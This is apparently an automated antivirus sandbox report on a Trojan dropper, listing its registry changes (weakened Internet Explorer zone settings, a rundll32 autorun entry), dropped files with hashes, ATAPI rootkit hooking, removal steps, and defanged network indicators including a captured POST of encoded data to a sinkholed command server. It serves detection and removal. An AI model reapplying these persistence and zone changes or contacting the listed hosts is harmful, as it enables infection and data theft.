[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"willwnd.exe" = "willwnd"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process willwnd.exe:476 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F8 D9 57 AE 3A D8 F5 6B 7B 1B 06 86 F6 FD BD 35"

The process Rich.exe:1980 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "34 15 E5 41 45 1C 6E 24 9B 9F 4B 4F AF BA AC 84"

The process E4U.exe:1932 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E4 DB 37 DD CF 13 CA 1E 98 44 53 A4 3D 9D 73 36"

The process IC.exe:1112 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "26 6B A8 7F DA 6D 51 C4 D3 6F 82 0D 8C 3E 98 F1"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\9.tmp,"

The process EuroP.exe:948 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\]
"1806" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AA E1 DF 84 FA 1F 87 7F 46 BA 4F FC EC E1 D4 C7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process SLFAT.exe:1824 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0D EC AE A8 A2 01 68 80 5C 64 BC D5 C5 16 58 63"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data]
"done.exe" = "Done"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process %original file name%.exe:1676 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"ic.exe" = "CTF Loader"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\9.tmp, , \??\%WinDir%\TEMP\A.tmp, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp\EuroP.exe,"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"EuroP.exe" = "EuroP"
"ic2.exe" = "Systray .exe stub"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"_tbp.exe" = "FrameDbl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"Rich.exe" = "Rich"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"SLFAT.exe" = "SLFAT"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C7 DA 9E 94 54 68 A0 5B FB 8E AD AB 65 02 03 CF"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"E4U.exe" = "Pagefile Manager"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp]
"tenn2.exe" = "DrawOverWindows"
"Gi.exe" = "Gi"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process _tbp.exe:1900 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DB 5F BD 7F E7 79 AC 07 BD 68 BF F1 48 B7 89 AC"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Bveqayeweci" = "43 01 38 03 58 05 51 07 41 09 44 0B 48 0D 41 0F"
"Ydapup" = "42 01 43 03 40 05 34 07 3E 09 39 0B 48 0D 4D 0F"

Dropped PE files

MD5	File path
718854b7caba09012abffa7d5836d782	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Done.exe
e92604e043f51c604b6d1ac3bcd3a202	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\7za.exe
efdebeacacd9e2f85bc99772890b825a	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\9.tmp
ab8f527334017fec45cc285a063e4340	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\WinInstall.exe
12896823fb95bfb3dc9b46bcaedc9923	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\explorer.dat
8c29d5b1b9502707ac35417194dd7962	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa3.tmp\Gi.exe
67ce715c6f59d2ebbbebae9564fcf97b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa3.tmp\SLFAT.exe
6f6b6ba8fa108ddc24fdea428b165d97	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa3.tmp\_tbp.exe
a94c45db924030d107edafebc29a8f09	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa3.tmp\tenn2.exe
04bcec7b6cef5cd941e5097b7401b55e	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\stb1.exe
0ba8663c43440ea72fbd8f4b7890914d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\willwnd.exe
ed0ef0a136dec83df69f04118870003e	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\winlogon.dat
35f28544b145d2b841823271b29e5771	c:\WINDOWS\Temp\A.tmp
865835bf6369d9e17e10f6df1141bb9a	c:\WINDOWS\jevc3r.dll
78d52146a1733a12c90153f88f227ef5	c:\WINDOWS\system32\kb.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "UNKNOWN" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Using the driver ROOTKITPATH the Trojan intercepts DriverStartIO in a miniport driver of a hard drive controller (ATAPI) to handle request to its own files:

StartIo

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
Done.exe:816
rundll32.exe:2536
WinInstall.exe:1140
Rich.exe:1980
E4U.exe:1932
EuroP.exe:948
SLFAT.exe:1824
%original file name%.exe:1676
_tbp.exe:1900
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\quickdomainfwd[1].htm (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\js3[1].js (2843 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@quickdomainfwd[1].txt (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\min[2].js (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\12224[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\px[1].js (346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\numArrow[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\xt.exe (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\min[1].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\track[1].htm (0 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\quickdomainfwd[1].net&pid=9PO755G95 (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\px[1].js (346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\searchIcon[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\WinInstall.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nswC.tmp (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\track[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\park.lwken[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CA44QI0C.htm (0 bytes)
%WinDir%\Temp\scs11.tmp (33880 bytes)
%Documents and Settings%\%current user%\Local Settings\APPLICATION DATA (4 bytes)
%WinDir%\assembly (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319 (672 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (440 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~DF93DE.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (1496 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\CONFIG (4 bytes)
%Documents and Settings%\%current user%\MY DOCUMENTS (4 bytes)
%WinDir%\Fonts (632 bytes)
C:\$Directory (2052 bytes)
%System%\dllcache (648 bytes)
%WinDir%\Microsoft.NET\Framework\V2.0.50727 (768 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu7.tmp (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012016090320160904\index.dat (400 bytes)
%Documents and Settings%\All Users\DOCUMENTS (4 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.8.0.Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_x-ww_77c24773 (4 bytes)
%System%\config (4 bytes)
%WinDir%\Temp\scs12.tmp (10145 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (480 bytes)
%WinDir%\MICROSOFT.NET (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\stb1.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nssF.tmp (1568 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\willwnd.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4.tmp (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Scv..bat (166 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7za.exe (18424 bytes)
%Documents and Settings%\%current user%\Application Data\Done.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\a1.7z (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\Gi.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\ic2.exe (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\E4U.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\IC.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\SLFAT.exe (12024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\tenn2.exe (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf2.tmp (14400 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\EuroP.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\Rich.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\_tbp.exe (3312 bytes)
%WinDir%\jevc3r.dll (90 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Ihoragiqinicim" = "rundll32.exe %WinDir%\jevc3r.dll,Startup"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23458	23552	4.5133	2cec663f64ef38694dc96bb9f9cb766d
.rdata	28672	4496	4608	3.58909	db16645055619c0cc73276ff5c3adb75
.data	36864	3774424	1024	3.26654	b9d0aa986d9e766521436f5ad38cd7c5
.ndata	3813376	32768	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	3846144	1736	2048	2.01899	2f2678dd9e97ae3fdffce33f180dbf60

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 78
13ab683047580206713a0f19ebe0427e
3a9d59d3c0513d9e09bdd7cd0913317a
09af02fa44c6bf227bb0d6e199a19499
6df0f423fb672c7925de87b12e214f89
6c77646a57ca346f85955675f504c751
52badfde88a0ee73f28b070519156057
09044e8d1e7cb7f6883f983c17d17bcc
0503370605c61ff728ff008dc03a1825
709c892167fce654126edb577421be29
1dc8f3bb2a983d7137276a217b4d705b
0f339065053ebd425e75b23558963750
ca5d6a20d387eb2e49389f6a39636da9
8a2f117c3e780d2a0ee0aefc9602d738
14e473d02dd6b3107715a02a70cfc4ca
450999c36485a084aa7dd1b603da875b
a51b0e4d59528d3c37c089b3920aefe1
2f92f621850cf288ff8a61cc0a7e1034
0092c82b8f71c849b1799747344a0013
848bd0a9a22e7e72609328d19e9ac880
273bae01660db7dac324f798d2c8812b
e612517c3e59b53ffb829dab9699a8f7
5853e9ba1c8d75393dcef359471d5a9e
90eeaf37ac1ec866ddf48f1f56edf745
65b18506a33d72ec059fb281acf7f87e
485f7cc7b007342caccad569a8eb6b44

Network Activity

URLs

URL	IP
hxxp://cogimbee.in/9823dehj9823dj.php?ini=v22MyzzjT4KjWDNmvVFHEeE2PuPsctM6PdFWTH11KB0CWwXTiUHUzGr1BVrHIQqMgMqV7ZlDeAiBMF4SEHfzfIuRtufQpaX/N/touu7plQ==	23.253.126.58
hxxp://www.flvtube.net/12224
hxxp://parkingcrew.net/assets/scripts/js3.js
hxxp://www.flvtube.net/track.php?domain=flvtube.net&toggle=browserjs&uid=MTQ3Mjg1OTIzNy40ODUzOjIwNzc2ZjRmMzdkMTI5MDdiZjI4Y2U0MGI1YmM0MTBmYTNkZjAxODBlMTYyZDQyODk2NjhhMjA0MmU5ZTg1Y2Q6NTdjYTBjNjU3NjgwOA==
hxxp://quickdomainfwd.com/?dn=flvtube.net&pid=9PO755G95	208.91.196.46
hxxp://lwken.com/click/?s=151123&c=255416	5.61.39.56
hxxp://767113.parkingcrew.net/?s=151123&c=255416
hxxp://quickdomainfwd.com/px.js?ch=1	208.91.196.46
hxxp://quickdomainfwd.com/px.js?ch=2	208.91.196.46
hxxp://767113.parkingcrew.net/track.php?domain=lwken.com&toggle=browserjs&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA==
hxxp://quickdomainfwd.com/sk-logabpstatus.php?a=cG5SaDdSNW9TTW9ySkp2dndXYmRaT0t4TUJTTWc2VFV2MlFBMGxia2Njc25kVnRMM0IvN0p2eFFucWxBb3JuMUFXY1ZUR01Fcis5a0hSYlg3bVhKeklMRHlEOHk2dGpKQkpUUEx5ZHhhS2M9&b=false	208.91.196.46
hxxp://767113.parkingcrew.net/track.php?click=5b53ccd02792a79936184954fc4d1abe5dbbc818&domain=lwken.com&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA==&ts=fHx8ZDQxZDh8fHxidWNrZXQwMzl8fHx8NTdjYTBjNjY4ZTQxOXx8fDE0NzI4NTkyMzkuMDQ3M3xkN2MwNzZlNTFkZjMwZTFkMDQzYzkzZmY2NjVjNzNhOTVmZGUwZjg2fHx8fHwxfHx8MHw1N2NhMGM2N2Y1NTI1ZmZlMjI4YjRkZDJ8fHx8fHx8fDB8MHx8fHx8fHx8fA==&kw=&search=&pcat=&rxid=&bucket=&clientID=&adtest=off
hxxp://a1961.g.akamai.net/__media__/js/min.js?v1.9
hxxp://a1961.g.akamai.net/__media__/pics/8624/numArrow.gif
hxxp://a1961.g.akamai.net/__media__/pics/8624/searchIcon.gif
hxxp://i1.cdn-image.com/__media__/pics/8624/searchIcon.gif	212.30.134.159
hxxp://i2.cdn-image.com/__media__/js/min.js?v1.9	212.30.134.161
hxxp://park.lwken.com/?s=151123&c=255416	54.72.9.51
hxxp://i1.cdn-image.com/__media__/pics/8624/numArrow.gif	212.30.134.159
hxxp://park.lwken.com/track.php?click=5b53ccd02792a79936184954fc4d1abe5dbbc818&domain=lwken.com&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA==&ts=fHx8ZDQxZDh8fHxidWNrZXQwMzl8fHx8NTdjYTBjNjY4ZTQxOXx8fDE0NzI4NTkyMzkuMDQ3M3xkN2MwNzZlNTFkZjMwZTFkMDQzYzkzZmY2NjVjNzNhOTVmZGUwZjg2fHx8fHwxfHx8MHw1N2NhMGM2N2Y1NTI1ZmZlMjI4YjRkZDJ8fHx8fHx8fDB8MHx8fHx8fHx8fA==&kw=&search=&pcat=&rxid=&bucket=&clientID=&adtest=off	54.72.9.51
hxxp://park.lwken.com/track.php?domain=lwken.com&toggle=browserjs&uid=MTQ3Mjg1OTIzOC41ODQzOmMwNTRkMTUxNjI1YTRmNTNiYTVmNmQzMWI4NjdkMTQzMDk0NTUyZTJhMTFkMmFhMGE5MzFiODZmOTYwYmUxNDE6NTdjYTBjNjY4ZWFhNA==	54.72.9.51
2b.perfectexe.com	204.11.56.48
google.ca	173.194.113.207
katie.dntrx.com	52.20.177.80
tudou.com	123.126.98.149

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /9823dehj9823dj.php?ini=v22MyzzjT4KjWDNmvVFHEeE2PuPsctM6PdFWTH11KB0CWwXTiUHUzGr1BVrHIQqMgMqV7ZlDeAiBMF4SEHfzfIuRtufQpaX/N/touu7plQ== HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: cogimbee.in

User-Agent: Mozilla/6.0 (Windows; wget 3.0)

Content-Length: 197

Connection: close

Cache-Control: no-cache

data=qSrTzGL0RMCyDnY9 xJEQe5nNLundsMqfdgBGzUoJ0xVTU/DzQWC3DLbXB/UfETT1o6F2ZIbLEGVJ0MOJTSDP9PX4aSS/OagY6143bGp0y/uGVSLVL0u uo x5NraqI7DJaKGg7TCqXkTszGInUBxiK1/hKL2oFYpjsSYY8hw7jnmrVIPOVH9gda23cpItg=

HTTP/1.1 404 Not Found

Server: nginx 1.1.19

Date: Fri, 02 Sep 2016 23:33:57 GMT

X-Malware-Sinkhole: Arbor Networks

Connection: close

GET /?dn=flvtube.net&pid=9PO755G95 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: quickdomainfwd.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 02 Sep 2016 23:33:58 GMT

Server: Apache

Set-Cookie: vsid=931vr2204048382330680; expires=Wed, 01-Sep-2021 23:33:58 GMT; path=/; domain=quickdomainfwd.com; httponly

X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4 L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_jLZeEaZMKmXGJl4jV78gsCIHeYscI1MB/8WRAzK30kvLqI7QKwjiL 5QYUugLMMLFp0HqI9ticjUxqoNeKusJQ==

Vary: Accept-Encoding,User-Agent

Keep-Alive: timeout=5, max=101

Connection: Keep-Alive

